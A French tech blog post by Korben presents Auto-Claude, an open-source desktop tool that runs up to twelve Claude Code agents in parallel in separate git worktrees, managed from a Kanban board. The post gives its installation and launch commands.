    Vous rêvez de lancer Claude sur un projet et de le laisser bosser tout seul pendant que vous faites autre chose, du genre jouer à Animal Crossing en attendant la fin de la journée ? Hé bien c'est exactement ce que propose Auto-Claude, un outil open source qui transforme l'assistant IA préféré des devs en armée de développeurs plus autonomes que votre mère quand il s'agit d'échanger un billet de train. J'avais déjà parlé de Claude Engineer c'est vrai. C'est un framework CLI en Python qui permetta

Faites de Claude une armée de développeurs à votre service

Par : Korben
21 janvier 2026 à 22:08

Vous rêvez de lancer Claude sur un projet et de le laisser bosser tout seul pendant que vous faites autre chose, du genre jouer à Animal Crossing en attendant la fin de la journée ? Hé bien c'est exactement ce que propose Auto-Claude, un outil open source qui transforme l'assistant IA préféré des devs en armée de développeurs plus autonomes que votre mère quand il s'agit d'échanger un billet de train.

J'avais déjà parlé de Claude Engineer c'est vrai. C'est un framework CLI en Python qui permettait de faire bosser Claude en autonomie. Mais Auto-Claude, alalalala, c'est un autre délire les amis ! Déjà c'est une vraie application desktop avec interface graphique, tableau Kanban pour gérer vos tâches, et surtout... 12 terminaux qui peuvent tourner en parallèle. Oui, DOUZE agents Claude qui bossent simultanément sur votre code pendant que vous candy crushez pépouze dans les WC de votre entreprise.

Les terminaux d'Auto-Claude en action, chacun gérant un agent autonome

Le truc génial, c'est que chaque agent travaille dans son propre git worktree. Du coup, pas de conflit (de canard ^^ - J'ai pas pu résister désolé), pas de branches qui s'emmêlent, et chaque tâche est isolée proprement.

Puis quand c'est fini ? Hop, vous validez et ça merge parfaitement sans vous prendre la tête. Ce truc est fou !

Installation

Alors pour commencer, il vous faut un abonnement Claude Pro ou Max. Pas le choix...

Ensuite, installez Claude Code via npm si c'est pas déjà fait :

npm install -g @anthropic-ai/claude-code

Maintenant on clone Auto-Claude :

git clone https://github.com/AndyMik90/Auto-Claude.git
cd Auto-Claude

Et on installe les dépendances. L'outil gère à la fois le frontend Electron et le backend Python :

npm run install:all

Et c'est tout. Si si sérieux. Bon, là je vous l'ai fait en mode installe de barbu.e.s mais sachez aussi qu'il y a des binaires à télécharger directement pour Windows, macOS (Intel ou Silicon) et Linux (AppImage, deb ou flatpak).

Lancement et utilisation

Pour démarrer l'interface graphique, ensuite, c'est :

npm start

Une fenêtre s'ouvre avec le fameux tableau Kanban. Vous ajoutez vos tâches, vous les assignez aux agents disponibles, et c'est parti. Chaque terminal affiche en temps réel ce que fait son agent.

Le tableau Kanban pour orchestrer vos agents IA

Pour les fans de ligne de commande, y'a aussi un mode CLI :

python run.py --spec 001

Le numéro correspond à un fichier de spec dans le dossier specs/. Vous écrivez ce que vous voulez, et Auto-Claude s'occupe du reste.

Comment ça fonctionne ?

L'architecture est plutôt bien pensée puisque le frontend Electron communique avec un backend Python via WebSocket. Chaque agent a son propre processus isolé, sa propre branche git, son propre contexte.

Ainsi, quand vous lancez une tâche, Auto-Claude :

  1. Crée un worktree git dédié
  2. Lance un agent Claude Code dessus
  3. Monitore l'avancement en temps réel
  4. Gère le pipeline QA automatiquement

Le tout avec une interface qui vous permet de suivre 12 conversations en parallèle, soit de quoi bien jouer au chef d'orchestre si vous avez un gros projet à abattre.

Je commence à peine à découvrir l'outil et faut que je le ponce un peu plus pour voir ce que je peux faire avec ça, mais si vous êtes chaud bouillant comme moi sur ce genre de truc, je vous invite à tester l'autonomie IA poussée à fond avec Auto-Claude.

C'est gratuit, open source, et ça tourne sur Mac, Windows et Linux . Et un grand merci à Louis pour la découverte !

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